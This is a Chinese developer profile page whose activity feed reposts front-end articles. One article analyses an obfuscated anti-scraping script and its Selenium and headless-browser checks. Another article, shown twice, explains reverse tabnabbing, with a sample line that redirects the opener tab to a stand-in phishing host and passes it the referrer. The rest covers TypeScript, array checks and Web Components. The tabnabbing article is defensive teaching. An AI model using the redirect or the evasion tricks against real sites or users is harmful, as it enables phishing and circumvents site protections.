hyule

hyule 查看完整档案

伊宁编辑  |  填写毕业院校  |  填写所在公司/组织 localhost 编辑
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 个人简介什么都没有

个人动态

hyule 关注了专栏 · 2019-09-23

玩儿编程

编程也是可以玩儿的!微信公众号“玩儿编程”

关注 67

hyule 赞了文章 · 2019-09-23

某网站高度加密混淆的javascript的分析

996.icu

前言

对某网站加密混淆后的javascript代码也算分析了一段时间了,虽然还没搞出来,但多少有些心得,这里记录一下。

工具和资料

分析过程

获取javascript代码

  • 加密的核心代码只有一小部分是直接写在网页的<script>里面的,大部分代码是eval出来的,还有部分是jsonp方式异步加载的
  • 可以用cdp4j监听Debugger.ScriptParsed事件,并在监听器中调用Debugger.getScriptSource来获取js代码文本
  • 这样是可以获取到所有前端javascript源码的,即使源码在网络应答中是加密的,但用eval执行前也会还原为合法的js源码
  • 为了方便分析,将代码保存为文件。该网站js会用定时器不断重复eval一段代码,因此可以用ScriptParsed.hash作为文件名,避免重复保存文件
  • 这样搞出来的,用一样的混淆方式加密的js代码共有4段,其中两段特别长是核心代码,还有两段应该是编解码算法,一共加起来约5000行

获取常量映射

  • 拿到js之后,格式化一下,发现还是一团乱麻,所有的变量,函数都是"_$xx",可读性等于0
  • 在Chrome控制台里试了一下,发现全局变量和函数都保存在window中了

    • 一部分无参的函数调用,其实返回的就是常量字符串
    • 还有一些_$xx.call的,看了一下,其实就是系统方法,比如String.fromCharCode,Array.prototype.slice等
  • 因此可以编写一段控制台脚本,遍历window对象中所有形似_$xx的成员,判断其类型和函数执行结果。这样即可将常量字符串映射、系统方法映射等搞出来。在控制台执行下面这段代码就可以把字符串映射表弄到。

      (function () {
          for (var p in window) {
              if (p.substr(0, 2) !== "_$") continue;
              if (typeof window[p] !== "function" || window[p].name !== "") continue;
              try {
                  var s = window[p]();
                  console.log(p + "=" + s)
              } catch (e) {}
          }
      })()

可读性还原

  • 拿到映射关系之后是不是简单用正则表达式替换回去就万事大吉了呢?哪有那么简单!函数的局部变量、局部函数有很大可能性和全局变量重名,如果用正则无脑替换回去绝对会被坑死!!要是代码少倒也罢了,这里可有5000行代码,差之毫厘谬以千里!
  • 另外,不同函数的局部变量也存在大量重名,静态分析时干扰严重。因此,应该将局部变量也替换成唯一且更有意义的名字,比如<函数名>_<变量索引>
  • 因此,正确的方法是基于编译原理进行语法级别的替换。看到这里是不是要弃疗了?老子爬点数据还要写编译器?!
  • 还好,js上已经有很成熟的业界标准和若干老练的第三方库了,至少不用从龙书搞起……
  • 我这里选择了acornjs和astring,前者用于将js源码解析成抽象语法树AST,后者将AST还原成js源码。当然,有了AST就可以上下其手了……
  • 为了在java代码中运行acornjs和astring,请参见参考中《java中调用npm模块》一文。注意astring还依赖endswith和repeat两个polyfill,均可以npm下载到
  • 简单描述一下AST变换算法。用acorn.parse()搞到AST之后,递归扫描每个节点:

    • 进入每个FunctionDeclaration/FunctionExpression节点前,创建一个新的作用域对象放到栈顶,里面放该域内所有局部变量(含函数参数)和新名称的映射表;退出时将栈顶弹出
    • 遇到Identifier节点,首先在作用域栈中自顶向下依次寻找当前变量名,找到了,则是本方法局部变量或闭包外局部变量,用新名字替换之;否则,则是全局变量,去映射表中查找替换之
    • 注意,遇到CallExpression须特殊处理,前面的AST变换只涉及修改标识符名,而为了将_$xx()变换为"xxx",则涉及到结构变换,要把CallExpression节点修改为Literal节点并添加value属性
  • 全部处理完成后,就可以用astring.generate()产生还原后的代码了
  • 可读性恢复前后的代码可以看看下面的对比:
    图片描述
    处理前:一团乱麻,完全不知所云
    图片描述
    处理后:虽然还很费劲,起码看得出来这是在挂各种事件监听器。另外,看看人家监听多少种事件啊……

代码分析

上面步骤完成后,这代码至少勉强能看了,别放松,后面还有无数的坑……
还原前的代码只能是让人一脸懵逼,还原后的代码则足以让人咬牙切齿啊,多大仇啊,满满登登5000行全是正面硬怼的……
这里记录一部分已经发现的反破解手法吧。

不断主动中断干扰调试,并检测是否有动态分析行为

    var eI_v1 = window["eval"]("(function() {var a = new Date(); debugger; return new Date() - a > 100;}())");
    _$n1 = _$n1 || eI_v1;
    //这个在上篇文章分析了,在这找到调用来源了。注意,在可读性还原之前这货长这样:
    var _$pW = _$u9[_$mz()](_$oi());
    _$n1 = _$n1 || _$pW;

js代码动态混淆

  • 上一篇文章已经说过了,每次刷新js代码都会完全变化,包括全局/局部变量名、函数排列顺序等
  • 设断点会被干扰,且代码无法重复执行对于调试意味着什么?

检查关键函数是否被注入替换

    function __RW_checkNative(rh_p0, rh_p1) { // 函数名我手动改的
      try {
        var rh_v2 = Function["prototype"]["toString"]["apply"](rh_p0);
        var rh_v3 = new RegExp("{\\s*\\[native code\\]\\s*}");
        if (typeof rh_p0 !== "function" || !rh_v3["test"](rh_v2) || rh_p1 != undefined && rh_p0 !== rh_p1) __GL_undefined_$sy = true;
      } catch (_$r0) {}
    }
  • 会用这个函数检测eval, Function, setTimeout, setInterval几个系统函数是不是被注入了
  • 知道这块逻辑,就可以用一些手段骗过去,不知道的话……

检测当前窗口是否隐藏状态

document["addEventListener"]("visibilitychange", _$r0);
  • 会监控当前窗口是否在最上方,如果多开浏览器并行爬取……

检测Selenium, WebDriver, PhantomJS等

      var rm_v5 = "_Selenium_IDE_Recorder,_selenium,callSelenium"
        , rm_v6 = "__driver_evaluate,__webdriver_evaluate,__selenium_evaluate,__fxdriver_evaluate,__driver_unwrapped,__webdriver_unwrapped,__selenium_unwrapped,__fxdriver_unwrapped,__webdriver_script_func,__webdriver_script_fn"
        , rm_v7 = ["selenium", "webdriver", "driver"];
        if (_$un(window, "callPhantom,_phantom")) { ... }
  • 看到这里想必就知道会发生些什么了……

Hook住AJAX

  var ec_v4 = window["XMLHttpRequest"];
  if (ec_v4) {
    var ec_v5 = ec_v4["prototype"];
    if (ec_v5) {
      __GL_f_open = ec_v5["open"];
      __GL_f_send = ec_v5["send"];
      ec_v5["open"] = function () {
        _$t5();
        arguments[1] = _$pK(arguments[1]);
        return __GL_f_open["apply"](this, arguments);
      };
    } else { ... }
  }
  • 会自动在ajax请求后添加一个加密参数MmEwMD,参数值中可能包括鼠标轨迹等信息

检查navigator是否是伪造的

  var hi_v14 = window["navigator"];
  for (hi_v11 in hi_v14) {
    try {
      hi_v13 = hi_v14["hasOwnProperty"](hi_v11);
    } catch (_$r0) {
      hi_v13 = false;
    }
  }
  • 如果你注入的navigator对象是用{...}创建的水货版本,那就露馅了……

检查浏览器特征

  • 这块代码很长很复杂,还没分析完,现在能看出来的包括:
    navigator.languages - 在headless chrome中是没有这个字段的
    navigator.plugins - 无头和有头的chrome返回的插件列表不一样

WebGL能力检查

  • 有一大段代码是在canvas上用webgl绘图,没搞过webgl,现在还不明白,但肯定也是检查浏览器特征手段之一
查看原文

赞 40 收藏 22 评论 14

hyule 回答了问题 · 2019-07-24

Typescript中的=>的问题

是这样的,TypeScript 中 => 可以这样

// 四则运算
type Operator = (x: number, y: number) => number;

const add: Operator = (x, y) => x + y;
const minus: Operator = (x, y) => x - y;
const multiply: Operator = (x, y) => x * y;
const divide: Operator = (x, y) => x / y;
const mod: Operator = (x, y) => x % y;

其中的 type Operator = (x: number, y: number) => number; 里的 => 的用法明显属于 TypeScript 独占。

关注 4 回答 3

hyule 回答了问题 · 2019-07-24

redux saga使用axios,TS里提示类型不匹配

基于 ReduxRedux-Saga 封装的 D.Va 的 Effect 中,返回 Promise 的函数可以直接 yield。如在此例中可写成:

const res = yield api.common.login(defaultState.username, defaultState.password);

所以推测,Redux-Saga 自身应该也是支持的。

不过有个问题是,当前版本的 TypeScript 的 yield 关键词不支持类型推断,在此例中 res 的类型将会是 any。

关注 2 回答 1

hyule 关注了问题 · 2019-01-13

element-ui中如何直接显示DatePicker

DatePick是作为Form组件使用的

我现在想让它默认是展开状态,并不想要输入框,而且是一直显示在页面中的,有什么办法?

关注 9 回答 4

hyule 发布了文章 · 2018-11-28

JavaScript 中如何判断变量是否为数组

Javascript中判断变量是否为数组?

常见的方法

v => Array.isArray(v);

v => v instanceof Array;

// 不靠谱的方法
v => Object.prototype.toString.call(v) === '[object Array]'
/*
 Object.prototype.toString = () => {
 }
 */

v => v && v.constructor === Array
/*
var a = ({ constructor: Object });
var a = []; a.constructor = Object; // or anything
 */

Underscore 中的 _.isArray

Underscore 使用 isArray(默认) 加 Object.prototype.toString(作兼容) 的组合。

查看原文

赞 1 收藏 1 评论 0

hyule 收藏了文章 · 2018-10-22

你不曾察觉的隐患:危险的 target="_blank" 与 “opener”

在网页中使用链接时,如果想要让浏览器自动在新的标签页打开指定的地址,通常的做法就是在 a 标签上添加 target等于"_blank" 属性。
然而,就是这个属性,为钓鱼攻击者带来了可乘之机。

起源

parentopener

在说 opener 之前,可以先聊聊 <iframe> 中的 parent

我们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window

openerparent 一样,只不过是用于 <a target="_blank"> 在新标签页打开的页面的。通过 <a target="_blank"> 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不同时,parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

<iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 <iframe> 的安全性。

利用

如果,你的网站上有一个链接,使用了 target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

  1. 在你的网站 https://example.com 上存在一个链接:

    <a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>
  2. 用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。

    并且,这个网站上包含着类似于这样的 JavaScript 代码:

    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);
  3. 此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  4. 恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。
  5. 用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。
上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener 对象和 parent 一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

但是与 parent 不同的是,在跨域的情况下,opener 仍然可以调用 location.replace 方法parent 则不可以。

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

防御

<iframe> 中有 sandbox 属性,而链接,则可以使用下面的办法:

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 Referrer Policy 头来保证来源隐私安全。

Referrer Policy 需要修改后端代码来实现,而在前端,也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
但是要注意的是:即使限制了 referer 的传递,仍然不能阻止原标签被恶意跳转。

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

3. JavaScript

noopener 属性看似是解决了所有问题,但是...浏览器的兼容性问题...

可以看到,现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

推荐

首先,在网站中的链接上,如果使用了 target="_blank",就要带上 rel="noopener",并且建议带上 rel="noreferrer"。类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

性能

最后,再来说说性能问题。

如果网站使用了 <a target="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。

而如果在链接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。


文 / jinliming2
一条对新鲜事物充满了好奇心的咸鱼

编 / 荧声

本文已由作者授权发布,版权属于创宇前端。欢迎注明出处转载本文。本文链接:https://knownsec-fed.com/2018...

想要订阅更多来自知道创宇开发一线的分享,请搜索关注我们的微信公众号:创宇前端(KnownsecFED)。欢迎留言讨论,我们会尽可能回复。

欢迎点赞、收藏、留言评论、转发分享和打赏支持我们。打赏将被完全转交给文章作者。

感谢您的阅读。

查看原文

hyule 赞了文章 · 2018-10-22

你不曾察觉的隐患:危险的 target="_blank" 与 “opener”

在网页中使用链接时,如果想要让浏览器自动在新的标签页打开指定的地址,通常的做法就是在 a 标签上添加 target等于"_blank" 属性。
然而,就是这个属性,为钓鱼攻击者带来了可乘之机。

起源

parentopener

在说 opener 之前,可以先聊聊 <iframe> 中的 parent

我们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window

openerparent 一样,只不过是用于 <a target="_blank"> 在新标签页打开的页面的。通过 <a target="_blank"> 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不同时,parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

<iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 <iframe> 的安全性。

利用

如果,你的网站上有一个链接,使用了 target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

  1. 在你的网站 https://example.com 上存在一个链接:

    <a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>
  2. 用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。

    并且,这个网站上包含着类似于这样的 JavaScript 代码:

    const url = encodeURIComponent('{{header.referer}}');
    window.opener.location.replace('https://a.fake.site/?' + url);
  3. 此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  4. 恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。
  5. 用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。
上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener 对象和 parent 一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

但是与 parent 不同的是,在跨域的情况下,opener 仍然可以调用 location.replace 方法parent 则不可以。

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

防御

<iframe> 中有 sandbox 属性,而链接,则可以使用下面的办法:

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 Referrer Policy 头来保证来源隐私安全。

Referrer Policy 需要修改后端代码来实现,而在前端,也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
但是要注意的是:即使限制了 referer 的传递,仍然不能阻止原标签被恶意跳转。

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

3. JavaScript

noopener 属性看似是解决了所有问题,但是...浏览器的兼容性问题...

可以看到,现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

推荐

首先,在网站中的链接上,如果使用了 target="_blank",就要带上 rel="noopener",并且建议带上 rel="noreferrer"。类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

性能

最后,再来说说性能问题。

如果网站使用了 <a target="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。

而如果在链接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。


文 / jinliming2
一条对新鲜事物充满了好奇心的咸鱼

编 / 荧声

本文已由作者授权发布,版权属于创宇前端。欢迎注明出处转载本文。本文链接:https://knownsec-fed.com/2018...

想要订阅更多来自知道创宇开发一线的分享,请搜索关注我们的微信公众号:创宇前端(KnownsecFED)。欢迎留言讨论,我们会尽可能回复。

欢迎点赞、收藏、留言评论、转发分享和打赏支持我们。打赏将被完全转交给文章作者。

感谢您的阅读。

查看原文

赞 184 收藏 142 评论 4

hyule 评论了文章 · 2018-10-18

深度介绍:💾 你听说过原生 HTML 组件吗?

嘿!看看这几年啊,Web 前端的发展可是真快啊!

想想几年前,HTML 是前端开发者的基本技能,通过各式各样的标签就可以搭建一个可用的网站,基本交互也不是问题。如果再来点 CSS,嗯,金黄酥脆,美味可口。这时候再撒上几把 JavaScript,简直让人欲罢不能。

随着需求的增长,HTML 的结构越来越复杂,大量重复的代码使得页面改动起来异常困难,这也就孵化了一批批模版工具,将公共的部分抽取出来变为公共组件。再后来,随着 JavaScript 的性能提升,JavaScript 的地位越来越高,不再只是配菜了,前端渲染的出现降低了服务端解析模版的压力,服务端只要提供静态文件和 API 接口就行了嘛。再然后,前端渲染工具又被搬回了服务端,后端渲染出现了(黑人问号???)

总之,组件化使得复杂的前端结构变得清晰,各个部分独立起来,高内聚低耦合,使得维护成本大大降低。

那么,你有听说过原生 HTML 组件吗?

四大 Web 组件标准

在说原生 HTML 组件之前,要先简单介绍一下四大 Web 组件标准,四大 Web 组件标准分别为:HTML Template、Shadow DOM、Custom Elements 和 HTML Imports。实际上其中一个已经被废弃了,所以变成“三大”了。

HTML Template 相信很多人都有所耳闻,简单的讲也就是 HTML5 中的 <template> 标签,正常情况下它无色无味,感知不到它的存在,甚至它下面的 img 都不会被下载,script 都不会被执行。<template> 就如它的名字一样,它只是一个模版,只有到你用到它时,它才会变得有意义。

Shadow DOM 则是原生组件封装的基本工具,它可以实现组件与组件之间的独立性。

Custom Elements 是用来包装原生组件的容器,通过它,你就只需要写一个标签,就能得到一个完整的组件。

HTML Imports 则是 HTML 中类似于 ES6 Module 的一个东西,你可以直接 import 另一个 html 文件,然后使用其中的 DOM 节点。但是,由于 HTML Imports 和 ES6 Module 实在是太像了,并且除了 Chrome 以外没有浏览器愿意实现它,所以它已经被废弃并不推荐使用了。未来会使用 ES6 Module 来取代它,但是现在貌似还没有取代的方案,在新版的 Chrome 中这个功能已经被删除了,并且在使用的时候会在 Console 中给出警告。警告中说使用 ES Modules 来取代,但是我测试在 Chrome 71 中 ES Module 会强制检测文件的 MIME 类型必须为 JavaScript 类型,应该是暂时还没有实现支持。

Deprecated HTML Imports

Shadow DOM

要说原生 HTML 组件,就要先聊聊 Shadow DOM 到底是个什么东西。

大家对 DOM 都很熟悉了,在 HTML 中作为一个最基础的骨架而存在,它是一个树结构,树上的每一个节点都是 HTML 中的一部分。DOM 作为一棵树,它拥有着上下级的层级关系,我们通常使用“父节点”、“子节点”、“兄弟节点”等来进行描述(当然有人觉得这些称谓强调性别,所以也创造了一些性别无关的称谓)。子节点在一定程度上会继承父节点的一些东西,也会因兄弟节点而产生一定的影响,比较明显的是在应用 CSS Style 的时候,子节点会从父节点那里继承一些样式。

而 Shadow DOM,也是 DOM 的一种,所以它也是一颗树,只不过它是长在 DOM 树上的一棵特殊的紫薯🍠,啊不,子树。

什么?DOM 本身不就是由一棵一棵的子树组成的吗?这个 Shadow DOM 有什么特别的吗?

Shadow DOM 的特别之处就在于它致力于创建一个相对独立的一个空间,虽然也是长在 DOM 树上的,但是它的环境却是与外界隔离的,当然这个隔离是相对的,在这个隔离空间中,你可以选择性地从 DOM 树上的父节点继承一些属性,甚至是继承一棵 DOM 树进来。

利用 Shadow DOM 的隔离性,我们就可以创造原生的 HTML 组件了。

实际上,浏览器已经通过 Shadow DOM 实现了一些组件了,只是我们使用过却没有察觉而已,这也是 Shadow DOM 封装的组件的魅力所在:你只管写一个 HTML 标签,其他的交给我。(是不是有点像 React 的 JSX 啊?)

我们来看一看浏览器利用 Shadow DOM 实现的一个示例吧,那就是 video 标签:

<video controls data-original="./video.mp4" width="400" height="300"></video>

我们来看一下浏览器渲染的结果:

Video Tag

等一下!不是说 Shadow DOM 吗?这和普通 DOM 有啥区别???

在 Chrome 中,Elements 默认是不显示内部实现的 Shadow DOM 节点的,需要在设置中启用:

Turn on Shadow DOM 1
Turn on Shadow DOM 2

注:浏览器默认隐藏自身的 Shadow DOM 实现,但如果是用户通过脚本创造的 Shadow DOM,是不会被隐藏的。

然后,我们就可以看到 video 标签的真面目了:

True Face of Video Tag

在这里,你可完全像调试普通 DOM 一样随意调整 Shadow DOM 中的内容(反正和普通 DOM 一样,刷新一下就恢复了)。

我们可以看到上面这些 shadow DOM 中的节点大多都有 pseudo 属性,根据这个属性,你就可以在外面编写 CSS 样式来控制对应的节点样式了。比如,将上面这个 pseudo="-webkit-media-controls-overlay-play-button" 的 input 按钮的背景色改为橙色:

video::-webkit-media-controls-overlay-play-button {
  background-color: orange;
}

Change Button Colour in Video Tag

由于 Shadow DOM 实际上也是 DOM 的一种,所以在 Shadow DOM 中还可以继续嵌套 Shadow DOM,就像上面那样。

浏览器中还有很多 Element 都使用了 Shadow DOM 的形式进行封装,比如 <input><select><audio> 等,这里就不一一展示了。

由于 Shadow DOM 的隔离性,所以即便是你在外面写了个样式:div { background-color: red !important; },Shadow DOM 内部的 div 也不会受到任何影响。

也就是说,写样式的时候,该用 id 的时候就用 id,该用 class 的时候就用 class,一个按钮的 class 应该写成 .button 就写成 .button。完全不用考虑当前组件中的 id、class 可能会与其他组件冲突,你只要确保一个组件内部不冲突就好——这很容易做到。

这解决了现在绝大多数的组件化框架都面临的问题:Element 的 class(className) 到底怎么写?用前缀命名空间的形式会导致 class 名太长,像这样:.header-nav-list-sublist-button-icon;而使用一些 CSS-in-JS 工具,可以创造一些唯一的 class 名称,像这样:.Nav__welcomeWrapper___lKXTg,这样的名称仍旧有点长,还带了冗余信息。

ShadowRoot

ShadowRoot 是 Shadow DOM 下面的根,你可以把它当做 DOM 中的 <body> 一样看待,但是它不是 <body>,所以你不能使用 <body> 上的一些属性,甚至它不是一个节点。

你可以通过 ShadowRoot 下面的 appendChildquerySelectorAll 之类的属性或方法去操作整个 Shadow DOM 树。

对于一个普通的 Element,比如 <div>,你可以通过调用它上面的 attachShadow 方法来创建一个 ShadowRoot(还有一个 createShadowRoot 方法,已经过时不推荐使用),attachShadow 接受一个对象进行初始化:{ mode: 'open' },这个对象有一个 mode 属性,它有两个取值:'open''closed',这个属性是在创造 ShadowRoot 的时候需要初始化提供的,并在创建 ShadowRoot 之后成为一个只读属性。

mode: 'open'mode: 'closed' 有什么区别呢?在调用 attachShadow 创建 ShadowRoot 之后,attachShdow 方法会返回 ShadowRoot 对象实例,你可以通过这个返回值去构造整个 Shadow DOM。当 mode 为 'open' 时,在用于创建 ShadowRoot 的外部普通节点(比如 <div>)上,会有一个 shadowRoot 属性,这个属性也就是创造出来的那个 ShadowRoot,也就是说,在创建 ShadowRoot 之后,还是可以在任何地方通过这个属性再得到 ShadowRoot,继续对其进行改造;而当 mode 为 'closed' 时,你将不能再得到这个属性,这个属性会被设置为 null,也就是说,你只能在 attachShadow 之后得到 ShadowRoot 对象,用于构造整个 Shadow DOM,一旦你失去对这个对象的引用,你就无法再对 Shadow DOM 进行改造了。

可以从上面 Shadow DOM 的截图中看到 #shadow-root (user-agent) 的字样,这就是 ShadowRoot 对象了,而括号中的 user-agent 表示这是浏览器内部实现的 Shadow DOM,如果使用通过脚本自己创建的 ShadowRoot,括号中会显示为 openclosed 表示 Shadow DOM 的 mode。

Open 的 ShadowRoot 与 不Open 的 ShadowRoot

浏览器内部实现的 user-agent 的 mode 为 closed,所以你不能通过节点的 ShadowRoot 属性去获得其 ShadowRoot 对象,也就意味着你不能通过脚本对这些浏览器内部实现的 Shadow DOM 进行改造。

HTML Template

有了 ShadowRoot 对象,我们可以通过代码来创建内部结构了,对于简单的结构,也许我们可以直接通过 document.createElement 来创建,但是稍微复杂一些的结构,如果全部都这样来创建不仅麻烦,而且代码可读性也很差。当然也可以通过 ES6 提供的反引号字符串(const template = `......`;)配合 innerHTML 来构造结构,利用反引号字符串中可以任意换行,并且 HTML 对缩进并不敏感的特性来实现模版,但是这样也是不够优雅,毕竟代码里大段大段的 HTML 字符串并不美观,即便是单独抽出一个常量文件也是一样。

这个时候就可以请 HTML Template 出场了。我们可以在 html 文档中编写 DOM 结构,然后在 ShadowRoot 中加载过来即可。

HTML Template 实际上就是在 html 中的一个 <template> 标签,正常情况下,这个标签下的内容是不会被渲染的,包括标签下的 img、style、script 等都是不会被加载或执行的。你可以在脚本中使用 getElementById 之类的方法得到 <template> 标签对应的节点,但是却无法直接访问到其内部的节点,因为默认他们只是模版,在浏览器中表现为 #document-fragment,字面意思就是“文档片段”,可以通过节点对象的 content 属性来访问到这个 document-fragment 对象。

template document-fragment

通过 document-fragment 对象,就可以访问到 template 内部的节点了,通过 document.importNode 方法,可以将 document-fragment 对象创建一份副本,然后可以使用一切 DOM 属性方法替换副本中的模版内容,最终将其插入到 DOM 或是 Shadow DOM 中。

<div id="div"></div>
<template id="temp">
  <div id="title"></div>
</template>
const template = document.getElementById('temp');
const copy = document.importNode(template.content, true);
copy.getElementById('title').innerHTML = 'Hello World!';

const div = document.getElementById('div');
const shadowRoot = div.attachShadow({ mode: 'closed' });
shadowRoot.appendChild(copy);

HTML Imports

有了 HTML Template,我们已经可以方便地创造封闭的 Web 组件了,但是目前还有一些不完美的地方:我们必须要在 html 中定义一大批的 <template>,每个组件都要定义一个 <template>

此时,我们就可以用到已经被废弃的 HTML Imports 了。虽然它已经被废弃了,但是未来会通过 ES6 Modules 的形式再进行支持,所以理论上也只是换个加载形式而已。

通过 HTML Imports,我们可以将 <template> 定义在其他的 html 文档中,然后再在需要的 html 文档中进行导入(当然也可以通过脚本按需导入),导入后,我们就可以直接使用其中定义的模版节点了。

已经废弃的 HTML Imports 通过 <link> 标签实现,只要指定 rel="import" 就可以了,就像这样:<link rel="import" href="./templates.html">,它可以接受 onloadonerror 事件以指示它已经加载完成。当然也可以通过脚本来创建 link 节点,然后指定 rel 和 href 来按需加载。Import 成功后,在 link 节点上有一个 import 属性,这个属性中存储的就是 import 进来的 DOM 树啦,可以 querySelector 之类的,并通过 cloneNodedocument.importNode 方法创建副本后使用。

未来新的 HTML Imports 将会以 ES6 Module 的形式提供,可以在 JavaScript 中直接 import * as template from './template.html';,也可以按需 import,像这样:const template = await import('./template.html');。不过目前虽然浏览器都已经支持 ES6 Modules,但是在 import 其他模块时会检查服务端返回文件的 MIME 类型必须为 JavaScript 的 MIME 类型,否则不允许加载。

Custom Elements

有了上面的三个组件标准,我们实际上只是对 HTML 进行拆分而已,将一个大的 DOM 树拆成一个个相互隔离的小 DOM 树,这还不是真正的组件。

要实现一个真正的组件,我们就需要用到 Custom Elements 了,就如它的名字一样,它是用来定义原生组件的。

Custom Elements 的核心,实际上就是利用 JavaScript 中的对象继承,去继承 HTML 原生的 HTMLElement 类(或是具体的某个原生 Element 类,比如 HTMLButtonElement),然后自己编写相关的生命周期函数,处理成员属性以及用户交互的事件。

看起来这和现在的 React 很像,在 React 中,你可以这样创造一个组件:class MyElement extends React.Component { ... },而使用原生 Custom Elements,你需要这样写:class MyElement extends HTMLElement { ... }

Custom Elements 的生命周期函数并不多,但是足够使用。这里我将 Custom Elements 的生命周期函数与 React 进行一个简单的对比:

  • constructor(): 构造函数,用于初始化 state、创建 Shadow DOM、监听事件之类。

    对应 React 中 Mounting 阶段的大半部分,包括:constructor(props)static getDerivedStateFromProps(props, state)render()

